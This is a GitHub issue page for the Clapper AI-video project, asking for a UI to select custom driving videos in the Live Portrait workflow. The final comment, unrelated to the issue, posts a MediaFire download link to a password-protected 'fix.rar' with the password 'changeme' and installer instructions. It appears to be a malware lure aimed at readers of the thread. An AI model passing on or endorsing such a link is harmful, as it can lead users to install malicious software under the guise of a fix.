search

jbilcke-hf / clapper

Clapper.app, a video synthesizer and sequencer designed for the age of AI cinema
https://clapper.app
GNU General Public License v3.0
2.08k stars 195 forks source link

Find a UI/UX way to edit the driving video for Live Portrait #75

Open jbilcke-hf opened 3 months ago

jbilcke-hf commented 3 months ago

Context

Currently Clapper has a Live Portrait workflow, here is a demo (to try for yourself you need a Replicate account, and pick "video" > "Replicate" > "Live Portrait by @fofr")

https://github.com/user-attachments/assets/c246dde9-918b-4097-93f3-0be4ddc1a1e5

there are more things planned, like lip-sync and using a database of readymade expressions, so that we don't have to manually edit thousands of shots.

Now, some users prefer to do everything without AI, and that's perfectly fine imho. For those users we can provide a way to pick a custom driving video for each shot.

Solution

Modify the interface to add a way to select driving videos.

Maybe that can be done in the segment editor (or the upcoming quick access segment editor - ask @jbilcke-hf )

MinecraftEarthVillage commented 3 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."